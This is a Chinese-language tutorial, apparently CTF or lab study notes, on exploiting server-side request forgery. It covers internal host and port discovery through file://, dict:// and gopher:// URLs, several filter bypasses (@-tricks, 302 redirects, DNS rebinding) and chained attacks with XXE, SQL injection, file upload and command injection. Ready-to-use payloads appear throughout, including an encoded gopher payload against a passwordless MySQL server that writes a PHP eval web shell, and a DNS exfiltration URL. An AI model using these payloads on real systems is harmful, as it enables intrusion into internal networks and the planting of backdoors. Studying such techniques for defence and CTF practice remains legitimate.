ssrf漏洞
SSRF漏洞
一.前置知识NAT
SSRF:service side request forgery服务器请求伪造
NAT: Network Address Transition 网络地址转换
静态NAT地址转换:内网转化为公网ip
NAT端口映射:通过防火墙NAT可以实现把私网ip端口映射到公网ip端口访问
curl函数三件套
curl_init:初始化一个Curl会话,里面一般是放URL地址,也可以放在
curl_setopt
里面的选项内curl_setopt:设置curl会话的选项,比如
CURLOPT_HEADER, 0
表示将头文件的信息作为数据流输出
CURLOPT_RETURNTRANSFER,1
将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_exec
:执行curl会话curl_close
:关闭curl会话
二.SSRF漏洞原理
SSRF:service side request forgery服务器请求伪造
攻击目标是从外网无法访问的内部系统
形成原因:服务端提供了从服务器其他应用获取数据的功能
攻击方式:
三.伪协议信息搜集
1.file://
查询网段 file:///etc/hosts
查询存活主机 file:///proc/net/arp
arp协议必须通信才会返回arp表,从http://172.250.250.0 - 172.250.250.254都访问一遍,访问之前就会记录在arp表之中,不用管是否成功
使用burp扫描
之后file:///proc/net/arp中有内容的HW address不是00:00:00
file:///proc/net/fib_trie可以查看路由信息
2.dict:// ftp://
查找存活主机端口
ftp://172.250.250.1:80 慢,不推荐
dict://172.250.250.1:80 更改1和80的位置,burp选择集束炸弹 端口添加常用端口即可
通过length判断是否返回数据
可以利用端口扫描工具
nmap -p- -A -v -T4 目标IP
,扫描十分详细,不漏一个端口
3.http://
目录扫描
http:// … /1.php
1.php用御剑字典替换
4.gopher://
利用范围较广:get提交 post提交 redis sql Fastcgi
格式:URL:gopher://<host>:<port>/<gopher-path>
gopher默认是70端口,改成80的web端口
curl gopher://127.0.0.1:70/abcd
——> bcd 第一个字符不转发,使用下划线填充首位
gopher构造
GET提交
1 | GET /name.php?name=1 HTTP/1.1 |
第三行必须有回车!
url编码(按下面的规则,其他的不编),前面加下划线,粘贴到<gopher-path>
位置
空格:%20 问号:%3f 换行%0d%0A
1 | gopher://172.250.250.4:80/_GET%20%2Fname.php%3fname=1%20HTTP%2F1.1%0d%0AHost%3A%20172.250.250.4%0d%0A |
建议用burp抓包,下划线之后直接粘贴3行,做两次url编码(全部字符)(因为经过ssrf和被攻击服务器两台服务器两次解码,burp不会自动编码)
POST提交
1 | POST /name.php HTTP/1.1 |
Content-Length就是下面的整体长度
POST提交不会自动编码,可以不用burp直接两次编码提交
gopher://172.250.250.4:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%33%31%25%33%33%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%61%25%36%39%25%36%31%25%36%65%25%36%61%25%36%39%25%36%31%25%36%65
建议用burp
四、环回地址绕过
1 | 127.0.0.1 |
URL BYPASS
url可能必须以 “xxx” 开头。我们可以利用@来绕过,如 http://[email protected]实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://[email protected]与 http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。
短连接绕过https://www.985.so/
五、302重定向绕过
服务器识别限制了内网ip
需要公网服务器
1 | #/tmp/302->index.php |
1 | #创建公网服务器 |
六、DNS重绑定绕过
服务器如果拿到域名会对域名dns解析,拿到ip地址
服务器访问时又会解析一次
让第一次dns检查的ip合法,第二次解析是内网ip,就达到了目的
DNS的TTL机制:域名和ip绑定关系的Cache存活的最长时间
我们需要在缓存失效之后重新访问这个url就能获取被更换的ip
一个TTL=0的网站
http://lock.cmpxchg8b.com/rebinder.html
两个顺序无所谓,不成功换公网ip(多试几次
ssrf直接访问http://deb74166.7f000001.rbndr.us
七、ssrf命令执行
1.信息搜集
file查找存活主机
dict查询内网主机开放端口
http目录扫描
2.漏洞页面执行代码
get可以直接提交url
也可以用gopher伪协议:gopher://ip:80/_粘贴的内容
ip=127.0.0.1;ls
八、常见漏洞函数
SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。
1、file_get_contents() readfile()
下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
1 |
|
2、sockopen():
以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
1 |
|
3、curl_exec():
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
1 |
|
1 | 一般情况下PHP不会开启fopen的gopher wrapper |
九、XXE+SSRF
源代码以xml形式post提交
1 | POST /doLogin.php HTTP/1.1 |
用gopher伪协议提交
gopher://172.250.250.6:80/_
(burp要对前面编一次,后面两次)
xxe利用:
1 | url=gopher://172.250.250.6:80/_POST /doLogin.php HTTP/1.1 |
file伪协议读取内容
十、ssrf+sql注入
GET注入->访问http注入
注意在输入栏栏提交的注释符为–%20不用–+,所有空格必须%20编码(输入栏自动编一次码,所以输入的应当编一次码)
在hackbar的POST提交的内容不会进行编码,所以必须手动两次编码!!!
POST注入->gopher
1 | gopher://172.250.250.11:80/_POST /Less-11/index.php HTTP/1.1 |
对_之后的内容两次url编码
去响应代码查回显
十一、ssrf+文件上传
前提是有上传文件的地方
multipart/form-data
分界线拼接
upload_file对应文件
${Boundary}可以随意替换,–${Boundary}作为分界线,最后完结多俩减号
奇技淫巧
1 |
|
parse_url
:解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
过滤了127.0.0.1和localhost,参考文章第四部分(环回地址绕过)
ban了0,1
1 | preg_match('/localhost|1|0|。/i', $url) |
上面的绕过都行不通,使用302重定向绕过
1 | http://sudo.cc |
这个域名指向127.0.0.1可以直接用
或者自己vps搭建ssrf.php
1 | <?php |
或者使用dns外带(dns前面加r.)
url=http://r.hba3zw.ceye.io/flag.php
长度限制
1 | url=http://0/flag.php |
最短payload
gethostbyname()
1 | $ip = gethostbyname($x['host']); |
获取真实ip,所以域名指向方法不能再使用(必须数字ip),可以使用 302 跳转方法和 dns rebinding 方法
filter_var():
1 | # php filter函数 |
RFC:10开头,172.16-172.31,192.168开头的内网地址
题目的过滤器ban内网地址
依然使用302绕过即可
要求url必须包含某些内容
1 | if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ |
需要http://ctf.
开头,show
结束
URL解析是这样的:
1 | 完整url: |
也就是最后一个@之后host会被浏览器识别
payload:url=http://[email protected]/flag.php?show
打无密码mysql
抓包发现returl可能有ssrf
借助Gopherus工具生成payload
select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
完整payload
Show Code
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501
注意,把工具生成的payload的下划线后面在进行一次url编码!